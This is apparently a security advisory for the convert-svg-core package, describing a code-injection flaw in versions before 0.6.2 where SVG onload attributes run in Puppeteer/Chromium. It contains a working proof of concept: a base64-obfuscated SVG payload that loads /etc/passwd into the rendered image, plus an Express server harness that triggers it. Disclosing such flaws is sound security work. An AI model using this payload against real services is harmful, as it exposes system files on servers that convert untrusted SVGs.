GHSA-5gxc-fxcr-9326

The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an onload attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.

PoC

Payload

<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>

where the id attribute is the base 64-encoded form of

document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>');

Attack

const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
      console.log(e);
    res.send("");
  }
});
app.listen(3000, ()=>{
  console.log('started');
});